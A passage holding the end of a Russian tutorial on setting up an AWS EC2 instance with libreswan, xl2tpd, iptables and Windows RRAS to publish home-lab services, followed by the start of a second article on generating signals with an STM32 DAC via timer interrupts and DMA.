Жмем в мастере «Next…», на 3-м шаге оставляем все значения по умолчанию, на 4-м соглашаемся с предлагаемыми 8-ю гигабайтами SSD дисковой по умолчанию и запускам инстанс кнопкой «Review and Launch»:
После мы получим окно с сообщением о создании новой пары ключей для подключения к нашему по SSH и предложением задать этой паре имя и скачать private-ключ в формате \*.pem. Он нам очень понадобится в дальнейшем, поэтому желательно его сразу сохранить в надежное место. В случае если этот файл будет утерян – вы потеряете возможность удаленного подключения к инстансам, его использующим. В EC2 нет возможности перегенерировать его заново для уже существующего инстанса, единственным способом является подключение диска инстанса к другому инстансу, к которому есть доступ и последующая правка ключа.
Через некоторое время инстанс будет запущен, у него появится внутренний (приватный) и внешний (публичный) IPv4 адреса, а также два соответствующих DNS имени.
Сразу настраиваем Security Groups для обеспечения прохождения трафика для нужных вам сервисов:
Открытые входящие порты 500, 1701, 4500 UDP и 4500 TCP понадобятся нам для организации IPSec L2TP VPN туннеля, HTTP & HTTPS для публикации сервисов домашней фермы, доступ снаружи к инстансу по SSH был создан автоматически при создании инстанса, т.к. EC2 по сути не содержит никаких средств встроенного доступа к консоли виртуальных машин через свой веб-интерфейс. В наличии лишь возможность просмотра экрана:
Целесообразно настроить доступ по VPN и через SSH только со своего домашнего IP-адреса. Порядок правил в Security Groups не имеет значения.
Поскольку мы будем использовать множественный NAT документация AWS рекомендует отключать в этом случае **«Network source/destination checking»**:
Так как мы будем использовать именно IPSec-тунеллирование, а не транспорт, для нас эта настройка не имеет особого смысла, но на всякий случай лучше ее выключить.
Подключимся через SSH к нашему инстансу. Если вы используете для подключения графический клиент SSH, например, PuTTY, вам поможет встроенная справка по подключению, вызываемая ПКМ по инстансу -> Connect:
Amazon Linux ведет родословную от RHEL и CentOS, поэтому используется пакетный менеджер yum.
Все операции, описанные далее, нужно выполнять с повышением привилегий, поэтому предваряем их sudo либо просто работаем под root.
Первым делом обновляем:
```
# yum update
```
В качестве ПО для организации VPN-сервера мы будем использовать связку libreswan и xl2tpd.
[LibreSwan](https://libreswan.org/) (форк Openswan и аналог strongSwan) – популярная реализация VPN IPSec и IKE (Internet Key Exchange). Он умеет в правильный обход различных видов NAT и их комбинаций, что особо важно при организации IPSec тунеллирования.
[xl2tpd](https://github.com/xelerance/xl2tpd) также широко используется, его основным достоинством является встроенная возможность аутентификации и передача параметров подключения клиента через ppp при подключении (например IP адреса, настроек маршрута по умолчанию, dns серверов и т.д.), что исключает необходимость дополнительного развертывания DHCP и Radius для нашей простой задачи.
Поскольку xl2tpd отсутствует в стандартных репозиториях Amazon Linux нам нужно включить EPEL (Extra Packages for Enterprise Linux):
```
# yum-config-manager --enable epel
```
### Устанавливаем необходимые пакеты:
```
# yum install libreswan xl2tpd -y
```
### Включаем роутинг на уровне ядра:
в файле **/etc/sysctl.conf** прописываем:
```
net.ipv4.ip_forward = 1
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.secure_redirects = 1
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.default.secure_redirects = 0
net.ipv4.conf.default.send_redirects = 0
net.ipv4.conf.lo.accept_redirects = 0
net.ipv4.conf.lo.secure_redirects = 0
net.ipv4.conf.lo.send_redirects = 0
net.ipv4.conf.eth0.accept_redirects = 0
net.ipv4.conf.eth0.secure_redirects = 0
net.ipv4.conf.eth0.send_redirects = 0
net.ipv4.conf.all.rp_filter = 0
net.ipv4.conf.default.rp_filter = 0
net.ipv4.conf.eth0.rp_filter = 0
```
Отключаем в текущем сеансе **rp\_filter**, чтобы не производить перезагрузку:
```
# for f in /proc/sys/net/ipv4/conf/*/rp_filter ; do
# echo 0 > $f
# done
```
Применяем настройки и проверяем наличие роутинга:
```
# sysctl -p /etc/sysctl.conf
# cat /proc/sys/net/ipv4/ip_forward
```
Нам нужно обеспечить проброс входящих (по отношению к публичному интерфейсу инстанса) пакетов с портов требуемых сервисов в наш будущий IPSec туннель. Для этого необходимо не только от-NAT-ить эти пакеты, но еще и сделать маскарадинг на **ppp0** интерфейсе.
Воспользуемся для этого встроенными возможностями **iptables**, который в случае Amazon Linux изначально настроен на полное пропускание любого трафика в любом направлении:
делаем DNAT нужных портов:
```
# iptables -t nat -A PREROUTING -p tcp -i eth0 --dport 80 -j DNAT --to-destination 10.100.0.2:80
# iptables -t nat -A PREROUTING -p tcp -i eth0 --dport 443 -j DNAT --to-destination 10.100.0.2:443
```
форвардим все пакеты, пришедшие на эти порты на адрес Windows-гейта:
```
# iptables -A FORWARD -p tcp -d 10.100.0.2 --dport 80 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
# iptables -A FORWARD -p tcp -d 10.100.0.2 --dport 443 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
```
делаем маскарадинг для этих пакетов:
```
# iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE
```
Правила iptables целесообразно сохранить, чтобы они автоматически подтягивались при перезагрузке инстанса:
```
# service iptables save
```
В данном случае используется DNAT (Destination NAT) нужного TCP порта с сетевого интерфейса eth0 инстанса по направлению на IPv4 адрес 10.100.0.2, который является адресом на ppp интерфейсе службы RRAS нашего Windows-гейта в домашнем гипервизоре.
Далее идет очень важный момент: поскольку сервисам внутри гипервизора нужно обеспечить возможность отвечать на поступившие к ним со стороны AWS инстанса запросы, то необходимо обеспечить маскарадинг (замену адреса отправителя) на интерфейсе **ppp0** инстанса перед отправкой пакета, иначе ответ пойдет совершенно по другому маршруту: с гейта Windows в гипервизоре мимо IPSec тоннеля прямиком на дефолтный маршрутизатор (домашний роутер), в результате чего конечно будет отброшен на стороне клиента сервиса, как пришедший с не запрошенного ресурса. В случае использования маскарадинга в заголовке пакета на входе в vpn тоннель адрес отправителя изменится с адреса где-то-там-в-интернете на адрес **ppp0** интерфейса инстанса AWS:EC2, т.е. в моем случае на 10.100.0.1
Как альтернативу использованию iptables для других дистрибутивов Linux либо \*NIX-систем можно рекомендовать старый добрый rinetd, там все это делается вообще в одну строку в его конфиге **rinetd.conf**:
```
```
Единственное, что нужно будет в этом случае включить в ядре, так это возможность Routing/NAT трафика.
### Пришло время готовить libreswan.
В файле **/etc/ipsec.conf** содержится инструкция загрузки всех .conf файлов из /etc/ipsec.d/, поэтому создаем новый конфигурационный файл в данной директории /etc/ipsec.d/aws\_vpn.conf и вносим в него:
```
config setup
# раскомментируем только в случае необходимости отладки
# plutostderrlog=/var/log/pluto.log
# logfile=/var/log/pluto.log
# plutodebug = all
# включаем NAT-T из-за наличия двух NAT-ов
nat_traversal=yes
oe=off
protostack=netkey
nhelpers=0
interfaces=%defaultroute
conn aws_vpn
type=tunnel
auto=start
forceencaps=yes
pfs=no
fragmentation=yes
authby=secret
left=%defaultroute
# здесь вместо <…> указываем публичный адрес инстанса в Elastic IP
leftid=<…>
# здесь вместо <…> указываем приватный адрес инстанса (172.х.х.х)
leftsubnet=<…>/32
leftnexthop=%defaultroute
leftprotoport=17/1701
rightprotoport=17/%any
right=%any
rightsubnetwithin=0.0.0.0/0
rightsubnet=vhost:%priv
```
Для простоты мы будем использовать IPSec аутентификацию на основе общего ключа (PSK), а не сертификатов, поэтому должны его явно указать. В файле **/etc/ipsec.secrets** содержится инструкция загрузки всех .secrets файлов из **/etc/ipsec.d/**, там создаем новый файл **/etc/ipsec.d/aws\_vpn.secrets** и указываем в нем PSK в формате:
```
<приватный адрес инстанса в виде 172.х.х.х> %any : PSK "<строка PSK>"
```
В качестве примера:
```
172.31.20.120 %any : PSK "Pa$$w0rd"
```
Поскольку внутри IPSec тоннеля будет использоваться ppp соединение, а там присутствует собственная аутентификация, настраиваем и ее:
Вносим логин и пароль в файл **/etc/ppp/chap-secrets** в формате:
```
\* \*
```
В качестве примера:
```
aws_user * Pa$$w0rd *
```
При подключении клиенту ppp возможно передать ряд опций для настройки сетевого интерфейса и таблицы маршрутизации с его стороны.
В файле **/etc/ppp/options.xl2tpd** задаем эти опции:
```
# разрешаем xl2tpd устанавливать ip адреса тоннеля
ipcp-accept-local
ipcp-accept-remote
# запрещаем создавать новый defaultroute со стороны Windows-гейта в домашнем гипервизоре
nodefaultroute
noccp
auth
# принудительно заставляем RRAS в Windows-гейте использовать mschap-v2 для авторизации
require-mschap-v2
# принудительно устанавливаем MTU и MRU
mtu 1410
mru 1410
lock
```
Т.к. нам не нужно передавать клиенту адреса dns, wins и т.п. вещи — все остальные опции нужно закомментировать.
Тут необходимо пояснение конфига.
Стандартным поведением для VPN подключений является установка нового Default Route в таблице клиента, что заставляет весь трафик от него в интернет «ходить» через vpn сервер. В нашем случае это неправильно, т.к. задачей Windows-гейта является и обеспечение имитации доступа к сети интернет виртуальной офисной сети за ним в гипервизоре и публикация ресурсов внутренних сервисов наружу через AWS:EC2, поэтому нерационально гонять весь трафик через инстанс в AWS:EC2. Вот почему нужно запретить VPN подключению в RRAS менять маршрут по умолчанию (на домашний роутер).
Также важно правильно подобрать значения MTU и MRU: мы используем тунеллирование IPSec и слишком большой размер полезной нагрузки может не вписаться в лимит при инкапсуляции, что приведет к фрагментации и скорее всего к ошибке. В случае ее появления попробуйте в первую очередь уменьшить эти значения, например, до 1280. Указанные в приведенном конфиге значения совместимы с клиентом VPN Windows.
### Осталось настроить xl2tpd
Настраиваем все необходимое в конфигурационном файле xl2tpd **/etc/xl2tpd/xl2tpd.conf**:
```
[global]
port=1701
ipsec saref = yes
; включаем, только если хотим отладить ошибку
;debug tunnel = yes
;debug avp = yes
;debug network = yes
;debug state = yes
;debug tunnel = yes
[lns default]
name = AWSvpnServer
; задаем желаемый диапазон для адресации в ppp
ip range = 10.100.0.2-10.100.0.2
; присваиваем адрес интерфейсу ppp0 AWS:EC2 инстанса
local ip = 10.100.0.1
require authentication = yes
require chap = yes
refuse pap = yes
pppoptfile = /etc/ppp/options.xl2tpd
length bit = yes
```
### Проверяем все что натворили
Пробуем запускать оба сервиса и проверяем конфиги:
```
service ipsec start
service xl2tpd start
ipsec verify
```
Сервисы могут быть уже запущены, в этом случае их просто рестартим.
Если все хорошо, то результат вывода ipsec verify должен быть аналогичен скриншоту:
Отлаживать работу xl2tpd можно интерактивно, запустив его с ключом -D и подвесив в отдельное «окно» терминала SSH с помощью утилиты **screen**:
```
# xl2tpd -D
```
В этом случае процесс xl2tpd не уйдет в фон, а будет осуществлять вывод всей своей деятельности на экран терминала.
В случае возникновения каких-то проблем нужно раскомментировать опции отладки в конфигах (см. комментарии) и смотреть содержимое системных логов и файла **/var/log/pluto.log**. Также стоит обратить внимание на содержимое опции **virtual\_private/virtual-private** в файле **/etc/ipsec.conf**, в ней перечислены все частные сети, доступные для обмена данными через IPSec. Если у вас по каким-то причинам своя адресация, например, используется собственный пул белых IPv4 адресов, следует внести изменения в этот параметр.
### Перейдем к последнему этапу – настройке RRAS службы в Windows-гейте и проверке публикаций сервисов со стороны интернета
Предполагается, что в вашем домашнем гипервизоре есть виртуальная машина под Windows 2012R2 или новее, развернутая в графическом (Desktop) режиме и в этой виртуальной машине в наличии два сетевых адаптера: один «смотрит» в домашнюю сеть и имеет в качестве маршрута по умолчанию домашний роутер, а другой – в виртуальную локальную «офисную» сеть, в которой присутствуют сервисы, публикуемые наружу. Наличие домена Windows необязательно, если конечно сами сервисы его не требуют.
Устанавливаем с помощью Server Manager-а либо с помощью командлета PowerShell **Install-WindowsFeature** все необходимые роли:
Здесь я демонстрирую установку ролей через графику, потому что потом все равно будет значительно удобнее вызовом мастера настройки из Server Manager-а в графике настраивать саму службу RRAS, которая порадует нас старым добрым интерфейсом времен Windows Server 2003:
Жмем ПКМ на своем сервере, выбираем **«Configure and Enable Routing and Remote Access»** и далее конфигурирование вручную:
Смело выбираем все галки, завершаем мастер и стартуем сервис:
Для начала выпустим свою виртуальную локальную сеть наружу. Идем в IPv4->NAT и создаем новый интерфейс, в качестве существующего интерфейса, на котором будет осуществляться NAT выбираем внешний интерфейс (который смотрит в «Инет», вернее в вашу домашнюю сеть), помечаем его как публичный и включаем на нем NAT:
Проверяем, как ходит трафик из виртуальной локальной сети наружу через наш гейт. Настройка Windows Firewall нам пока не потребуется.
Если все ок – создадим наконец то, ради чего мы боролись, VPN-подключение к нашему инстансу в AWS и проверим публикацию наших сервисов. Идем в оснастке RRAS в **«Network Interfaces»** и создаем новый Demand-dial интерфейс c произвольным именем:
Сразу выбираем L2TP подключение, так наш новый интерфейс не будет пытаться автоматически определить тип VPN и в результате быстрее будет подключаться:
Дальше в мастере указываем публичный адрес нашего облака (в моем случае Elastic IP). На следующих шагах оставляем все как есть, т.к. нам не нужно Site-To-Site подключение:
Указываем учетную запись пользователя, под которой мы настраивали подключение ppp (в файле **/etc/ppp/chap-secrets**). Имя домена указывать не нужно:
Мастер создает новое подключение. Теперь осталось его донастроить. Корректируем тайм-аут отключения по бездействию (Idle-time), убираем устаревший CHAP в пользу только MS-CHAPv2, указываем в «Advanced Properties» PSK ключ (тот что был нами прописан для xl2tpd в файле /etc/ipsec.d/aws\_vpn.secrets) и убираем IPv6:
После создания нового интерфейса нужно также обязательно зайти в свойства самой RRAS службы, разрешить свою политику IPSec для L2TP и указать свой PSK. Попросят перезапустить службу RRAS.
Казалось бы все, можно смело поднимать новый интерфейс и наслаждаться работой. А вот и нет. Из-за того, что мы использовали NAT на стороне инстанса AWS:EC2 клиент VPN Windows не сможет подключиться к такому Nat-Traversal узлу. Это справедливо и для клиентских версий (вплоть до последнего на момент написания этой статьи билда Windows 10) и для серверных.
К счастью, есть официальное решение этой проблемы в виде правки в реестре настроек сервиса IPSec Policy с последующей перезагрузкой:
По адресу
**HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services\PolicyAgent**
создаем DWORD (32-bit) ключ
**AssumeUDPEncapsulationContextOnSendRule = 2**
и перезагружаем наш Windows Gate.
Служба RRAS к сожалению славится своей капризностью в настройке и работе, да еще и после перезагрузки выполняет отложенный старт. Так что можно ее после перезагрузки поторопить.
Если все сделано правильно – подключение заработает в течении 5-10 секунд.
Осталось сделать публикацию нужных ресурсов на самом Windows гейте.
Для теста будем отрабатывать публикацию веб-сервера. Для начала проверим наш IPSec тоннель и корректность правил iptables.
Дрожащими руками проверяем с произвольного ПК, подключенного к сети Интернет:
Ух ты, работает…
В процессе установки нужных ролей принудительно установился «родной» MS IIS, но мы хотим еще проще. Для этого на Windows платформе хорошо подходит [**HFS**](https://rejetto.com/hfs/) (HTTP File Server) – он бесплатен, не требует инсталляции, отдает характерную страницу и HTTP заголовок, может работать на произвольном порту (по умолчанию это 8080, так что в нашем случае потребуется перенастроить на 80), а также сразу в своей консоли пишет откуда произошло подключение, что очень удобно для отладки публикации множества веб-ресурсов на платформе Windows. Для его использования необходимо сначала остановить сайт MS IIS, чтобы отвязать встроенный сервер от требуемого порта. Поскольку устанавливать консоль управления MS IIS мы не хотим (на самом деле будет присутствовать для совместимости консоль MS IIS 6, но через нее нельзя управлять IIS 7+), мы сделаем это через PowerShell:
```
Stop-WebSite -Name "Default Web Site"
```
либо просто через утилиту управления iisreset:
```
iisreset /stop
```
После этого необходимо разрешить в встроенном Windows Firewall входящий трафик на порт 80.
Запускаем HFS и проверяем:
Все здорово. Мы добились того, что с любой точки интернета виден веб-сервер, живущий у нас дома в виде виртуальной машины в произвольном гипервизоре.
Финальный штрих: учим RRAS форвардить все подобные запросы извне внутрь виртуальной офисной сети, где у нас согласно легенды живет еще один веб-сервер.
Для этого снова идем в оснастку управления RRAS в IPv4->NAT и ПКМ на нашем VPN интерфейсе, где выбираем вкладку **«Services and Ports»**, отмечаем в списке Web Server и указываем веб-сервер в внутренней виртуальной сети, ресурсы которого мы хотим опубликовать в интернете:
Жмем ОК и… все готово. Проверяем – все должно прекрасно работать.
Таким нехитрым способом можно оперативно опубликовать практически любые сервисы и ресурсы, от сайтов, почтовых серверов до каких-то сложных интеграций. Естественно для большинства из них потребуется наличие собственного DNS домена с возможностью создания в нем субдоменов и редактирования нужных записей. Также желательно для публикации веб-ресурсов использовать SSL сертификаты, благо с помощью [LetsEncrypt](https://letsencrypt.org/) и аналогичных ACME-совместимых сервисов все это можно делать совершенно бесплатно и с автоматическим обновлением.
При перезагрузке инстанса публичный IPv4 адрес не меняется – только при останове (stop), однако все равно рекомендуется использовать в AWS:EC2 статический IPv4 адрес. Статический в том смысле, что при выключении вашего инстанса он останется закрепленным за ним, а не выпадет в общий свободный пул. Конечно это нужно чтобы не заморачиваться каждый раз с перенастройкой DNS записей в доменах, да и TTL с кешированием никто не отменял. Стоит это очень недорого и зовется, как уже указывалось выше [Elastic IP](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html).
### Примитивная автоматизация процесса
Напоследок хочу упомянуть об еще одной замечательной фиче AWS:EC2 – быстром конфигурировании разворачиваемого инстанса. Вариантов быстрого развертывания в AWS:EC2 много, вплоть до специальных (и довольно сложных, но весьма могучих) сервисов, но есть самый простой: на шаге № 3 в мастере создания нового инстанса в самом низу есть поле **«User data»**. В него можно поместить скрипт на bash или даже PowerShell (в случае инстанса под Windows) и этот скрипт будет выполнен автоматически сразу после создания инстанса.
Т.е. вы можете, слегка подредактировав все указанные выше команды и конфиги создать свой собственный сценарий bash и использовать его для быстрого поднятия вот такого виртуального AWS:EC2-роутера. [Подробнее об этой возможности](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html).
Спасибо, что потратили время на прочтение этой статьи. | https://habr.com/ru/post/470047/ | null | ru | null |
# Начинаем работать в STM32CubeMX. Часть 2
[Часть 1](https://habrahabr.ru/post/310742/)
[Часть 3](https://habrahabr.ru/post/323674/)
В [прошлый раз](https://habrahabr.ru/post/310742/) мы научились создавать в STM32CubeMX новый проект, настраивать тактовый генератор, таймер и порт ввода-вывода, и немного помигали светодиодом. Сегодня мы освоим цифро-аналоговый преобразователь и научимся работать с ним через DMA. В результате у нас должен получиться простой генератор прямого синтеза (Direct digital synthesizer, DDS).
### Работа с DAC
Большая часть микроконтроллеров STM32 оснащена 12-bit DAC в количестве одного или двух штук. При этом архитектура DAC одинакова во всех кристаллах, неважно, какое ядро ARM Cortex M там используется. Таким образом, сегодняшний эксперимент можно выполнить на любом микроконтроллере STM32, имеющем хотя бы один DAC.
Какова частота преобразования DAC? Ответ на этот вопрос не совсем прост. Если вы хотите подробностей, рекомендую эти два документа: [[1]](#1)[[2]](#2)
Если излагать суть кратко, то она заключается в следующем: сам по себе ЦАП может обновлять выход с частотой до 5 MSPS (мегасэмплов в секунду), но буферный операционный усилитель (ОУ) на выходе не обеспечит такой скорости, ограничивая её до 1 MSPS. Если мы хотим больше, нам нужен внешний ОУ, к которому предъявляются некоторые требования по частотным характеристикам, о которых будет сказано ниже. Без буферного ОУ ЦАП использовать нельзя, так как он имеет довольно большое выходное сопротивление (> 10 кОм).
### Немного схемотехники
На частоте выше сотни килогерц встроенный буферный усилитель начинает вносить существенные искажения в сигнал, поэтому я сразу поставил на выход внешний буферный усилитель, удовлетворяющий рекомендациям ST.
Для достижения скорости преобразования 5MSPS, ST рекомендует использовать ОУ с частотой единичного усиления не менее 10 MHz, усилением при разомкнутой обратной связи не менее 60 дБ и скоростью нарастания выходного сигнала не менее 16,5 В/мкс. ST в качестве примера рекомендует ОУ LMH6645/6646/6647 производства Texas Instruments.
Я использовал ОУ AD845JN, который имеет частоту единичного усиления 16 МГц, типовое значение коэффициента усиления 500 В/мВ (около 114 дБ) и скорость нарастания 100 В/мкс. Питание ОУ производится от DC/DC преобразователя 5 В/±9 B. Можно питать буферный усилитель однополярным питанием, например, взяв 5 В прямо с платы, но тогда понадобится rail-to-rail усилитель. Схема подключения приведена на рис. 1.
*Рис. 1. Схема выходного буферного усилителя*
Специальную плату делать не стал, смонтировал проводом на макетной плате, которая вставлена в arduino-совместимое посадочное место на отладке.
*Рис. 2. Вид платы буферного усилителя*
Внутренний буферный усилитель микроконтроллера начинает вносить заметные нелинейные искажения уже начиная с частоты 100-150 кГц. Если вы не собираетесь использовать DAC для генерации сигналов выше этих частот, можно обойтись и без буфера.
Теперь переходим к программной части.
### Конфигурация DAC
Будем считать, что мы уже умеем создавать проект в CubeMX, выбирать микроконтроллер и настраивать тактовый генератор, как в первой части. Можно просто взять проект из первой части и продолжить его.
На плате, которой я пользуюсь, выходы DAC выведены не слишком удобно, к сожалению, DAC\_OUT1 (вывод N4) выведен на разъем DCMI, DAC\_OUT2 (вывод P4) подключен к интерфейсу USB и вряд ли может быть использован в качестве выхода DAC. Поэтому остаётся только DAC\_OUT1. Включаем его во вкладке Pinout:
Во вкладке «Configuration» у DAC есть только одна интересная нам настройка: Output Buffer. Если вы не используете внешний усилитель, он должен быть включен, если используете — выключен.
Можно управлять выходом DAC «вручную» из программы, можно задействовать DMA. Второй способ хорошо подходит для генерации периодического сигнала произвольной формы, и его мы рассмотрим ниже, а сейчас используем первый способ. Просто установить на выходе постоянное напряжение неинтересно, попробуем сгенерировать сигнал. Для этого нам понадобится таймер. Делаем всё как в первой части, только частоту таймера устанавливаем больше, например, 500 кГц. Для этого нужно установить значение Prescaler = 215, тогда мы получим 216 МГц/(215 + 1) = 1 МГц, и Counter Period = 1, что даст 1 МГц / (1 + 1) = 500 кГц. Напоминаю, что 216 МГц — частота тактирования периферии в нашей конфигурации системы тактирования.
### Генерация сигнала из обработчика прерываний
Генерируем код, открываем проект и вписываем следующее:
```
/* USER CODE BEGIN 0 */
void HAL_TIM_PeriodElapsedCallback(TIM_HandleTypeDef *htim)
{
static int val = 0;
if (htim->Instance==TIM1) //check if the interrupt comes from TIM1
{
HAL_DAC_SetValue(&hdac, DAC_CHANNEL_1, DAC_ALIGN_12B_R, val);
val = val? 0: 4095;
}
}
/* USER CODE END 0 */
...
/* USER CODE BEGIN 2 */
HAL_TIM_Base_Start_IT(&htim1);
__HAL_DAC_ENABLE(&hdac, DAC_CHANNEL_1);
/* USER CODE END 2 */
```
Ещё раз напоминаю, что весь пользовательский код пишется между строками вида /\* USER CODE BEGIN… \*/… /\* USER CODE END… \*/
Первый участок кода — обработчик прерывания таймера, в котором в регистр DAC записывается попеременно 0 и 4095, т. е. минимальное и максимальное значение DAC. Второй участок кода включает таймер и DAC. Получаем прямоугольные колебания с частотой 250 кГц, но из-за вносимых буферным усилителем искажений они выглядят так:
Пришло время задействовать внешний буфер, отключив внутренний. Для этого в STM32CubeMX заходим на вкладку Configuration, нажимаем кнопку DAC, на вкладке Parameter Settings устанавливаем Output Buffer = Disable. Заново генерируем код и прошиваем в плату. Сейчас импульсы выглядят как меандр, пропущенный через ФНЧ (в силу того, что полоса пропускания системы всё же ограничена):
Можно даже приблизительно оценить частоту среза ФНЧ.
Способ понятен из рисунка: проводим касательную к экспоненте до пересечения с верхним уровнем сигнала. Расстояние по шкале времени от начала импульса до пересечения и будет постоянной времени фильтра τ = 400 нс, частота среза равна fср = 1/2πτ ≈ 0,4 МГц.
Попробуем увеличить частоту в два раза, уменьшив Prescaler до 107, но нас ждёт разочарование: выше 333 кГц частота не поднимается. Вероятно, нужна некоторая оптимизация кода.
В действительности, наибольшую задержку вносит огромный обработчик прерывания таймера в недрах HAL (функция HAL\_TIM\_IRQHandler). Его можно заменить своим. Для этого находим файл stm32f7xx\_it, и в нём изменяем функцию TIM1\_UP\_TIM10\_IRQHandler:
```
void TIM1_UP_TIM10_IRQHandler(void)
{
/* USER CODE BEGIN TIM1_UP_TIM10_IRQn 0 */
static int val = 0;
/* TIM Update event */
__HAL_TIM_CLEAR_IT(&htim1, TIM_IT_UPDATE);
if (htim1.Instance==TIM1) {
*(uint32_t*)(DAC_BASE + 0x00000008U) = val;
val = val? 0: 4095;
}
return;
/* USER CODE END TIM1_UP_TIM10_IRQn 0 */
HAL_TIM_IRQHandler(&htim1);
/* USER CODE BEGIN TIM1_UP_TIM10_IRQn 1 */
/* USER CODE END TIM1_UP_TIM10_IRQn 1 */
}
```
HAL\_TIM\_IRQHandler больше не вызывается. Теперь частоту таймера можно поднять до 2 МГц, а частоту меандра, соответственно, до 1 МГц. Для этого нужно в настройках таймера установить значение Prescaler = 53, и тогда мы получим такую картину:
Это, вероятно, максимальная частота, достижимая на данном микроконтроллере.
Библиотека HAL, конечно, удобная вещь, но внутри неё происходит много разных действий, которых можно избежать. Просто следует помнить, что преждевременная оптимизация — зло, и прибегать к ней только когда мы достигли ограничения, как в этот раз.
Ещё один нюанс. Мы можем заметить, что в сигнале иногда попадаются странные скачки, имеющие период 1мс.
Они получаются в результате того, что у нас в системе есть ещё одно прерывание, имеющее больший приоритет, чем наш таймер. Оно спрятано внутри HAL, и это системный таймер SysTick, имеющий наивысший (нулевой) приоритет прерываний. Для исправления ситуации заходим в STM32CubeMX->Configuration->NVIC->Time base: System Tick Timer->Preeption Priority = 1. Заново генерируем код, искажения сигнала исчезли.
Попробуем сгенерировать синусоидальный сигнал. Для этого нам нужен массив длиной N значений, заполненный значениями функции round(A \* cos((pi / 2) \* (n / N))), где A — амплитуда сигнала, N — количество точек в массиве, n — номер точки. При выводе будем сдвигать точки на shift = 2048, амплитуда пусть будет А = 2047, тогда значения DAC будут от 1 до 4095. Массив можно заполнить только на четверть периода, от 0 до pi/2, а недостающие значения получать из него путём очевидных арифметических действий. Почему используем функцию косинуса, а не синуса, я напишу дальше.
Как выбрать N? С одной стороны, чем больше N, тем лучше, значения будут более близкими к точным величинам, с другой стороны, ограниченная разрядность DAC делает такое увеличение бесполезным после величины [A \* pi / 2] = 3215. В самом деле, при N = 3215 приращение угла составит pi / (2 \* 3215) = 4.89e-4, а приращение амплитуды вблизи середины шкалы, где скорость нарастания максимальна, составит 4.89e-4 \* 2047 = 1 дискрет DAC.
Мы можем сгенерировать массив заранее и разместить его во flash-памяти, можем сгенерировать его в run-time при инициализации. Первый способ предпочтительнее для практического применения, но мы воспользуемся вторым для большей наглядности:
Я хочу, чтобы массив и формирование сигнала происходили в main, поэтому изменяем код обработчика прерывания в файле stm32f7xx\_it на следующий:
```
void TIM1_UP_TIM10_IRQHandler(void)
{
/* USER CODE BEGIN TIM1_UP_TIM10_IRQn 0 */
/* TIM Update event */
if(__HAL_TIM_GET_FLAG(&htim1, TIM_FLAG_UPDATE) != RESET) {
if(__HAL_TIM_GET_IT_SOURCE(&htim1, TIM_IT_UPDATE) !=RESET) {
__HAL_TIM_CLEAR_IT(&htim1, TIM_IT_UPDATE);
if (htim1.Instance==TIM1) {
HAL_TIM_PeriodElapsedCallback(&htim1);
}
}
}
return;
/* USER CODE END TIM1_UP_TIM10_IRQn 0 */
HAL_TIM_IRQHandler(&htim1);
/* USER CODE BEGIN TIM1_UP_TIM10_IRQn 1 */
/* USER CODE END TIM1_UP_TIM10_IRQn 1 */
}
```
Сейчас «медленная» функция HAL\_TIM\_IRQHandler() не вызывается, а вызывается HAL\_TIM\_PeriodElapsedCallback в main. В main пишем следующее:
```
/* USER CODE BEGIN Includes */
#include "math.h"
/* USER CODE END Includes */
/* USER CODE BEGIN 0 */
volatile uint32_t * dac;
#define N 3216
#define DAC_SHIFT 2047
static uint16_t cosine[N];
const int delta = 1;
void HAL_TIM_PeriodElapsedCallback(TIM_HandleTypeDef *htim)
{
static int val = 0;
static int phase = 0;
*(uint32_t*)(DAC_BASE + 0x00000008U) = val;
phase += delta;
phase = phase > N * 4 - 1 ? phase - N * 4 : phase;
if(phase < N) {
val = DAC_SHIFT + cosine[phase];
}
else if(phase < 2 * N) {
val = DAC_SHIFT - cosine[2 * N - 1 - phase];
}
else if(phase < 3 * N) {
val = DAC_SHIFT - cosine[phase - 2 * N];
}
else {
val = DAC_SHIFT + cosine[4 * N - 1 - phase];
}
}
/* USER CODE END 0 */
int main(void)
{
/* USER CODE BEGIN 2 */
const float A = 2047;
const float PI = 3.1415927;
for(int i = 0; i < N; i++) {
cosine[i] = (uint16_t)(round(A * cos((i * PI) / (N * 2.0))));
}
HAL_TIM_Base_Start_IT(&htim1);
__HAL_DAC_ENABLE(&hdac, DAC_CHANNEL_1);
/* USER CODE END 2 */
```
В этом коде также присутствует величина delta — приращение фазы. Изменяя delta, можно менять частоту сигнала в широких пределах. delta = 1 соответствует наименьшей частоте (и наилучшему приближению синусоидальной функции), максимальная величина delta, имеющая смысл в данном случае равна 2\*N. При этом на выходе должен быть меандр, т.к. фаза становится попеременно то 0, то pi, а значения косинуса 1 и -1 соответственно. Поэтому мы и записали в массив не синус, а косинус, при синусе значения функции в этих точках были бы равны 0, и мы бы не увидели никакого сигнала.
В STM32CubeMX устанавливаем частоту срабатываний таймера 500 кГц, например так: Prescaler = 107, Counter Period = 3. Получаем красивую синусоиду с частотой 500e3/(4 \* 3216) = 38,868 Гц.
Максимальная частота при данных настройках составит 250 кГц. При этом сигнал превратится в меандр, их мы уже видели. Попробуем получить 10 кГц. Для этого мы должны выставить delta — (1e4/2e5) \* 4 \* 3216 = 257.28. Округляем до целого значения 257, получаем расчётное значение частоты (5e3 \* 257) / (4 \* 3216) = 9989 Гц. Получаем такую картинку:
Разница с частотой 10 кГц составляет около 0,1%. Можно ли выставлять частоту более точно? Можно, но для этого нужно считать фазу как float, но на данной частоте дискретизации (500 кГц) микроконтроллер не успевает считать фазу как float. Возможно снизить частоту тактирования таймера или попытаться вручную оптимизировать код, но это уже другая история. Пока достигнутая точность нас устраивает.
### Работа с DMA
Встроенный в микроконтроллеры STM32 цифроаналоговый преобразователь (DAC) может работать по сигналам таймера и получать данные напрямую из массива памяти через DMA. Таким образом, можно сконфигурировать контроллер так, что DAC будет работать без участия программы, не затрачивая ресурсы процессора, за исключением инициализации системы.
Недостатком метода с DMA является то, что здесь невозможны трюки с записью в массив четверти периода и вычисление накопления фазы. Мы должны записать в память весь массив и указать нужный период. Преимуществом, как уже упоминалось, является то, что при генерации сигнала через DMA процессор свободен для другой работы.
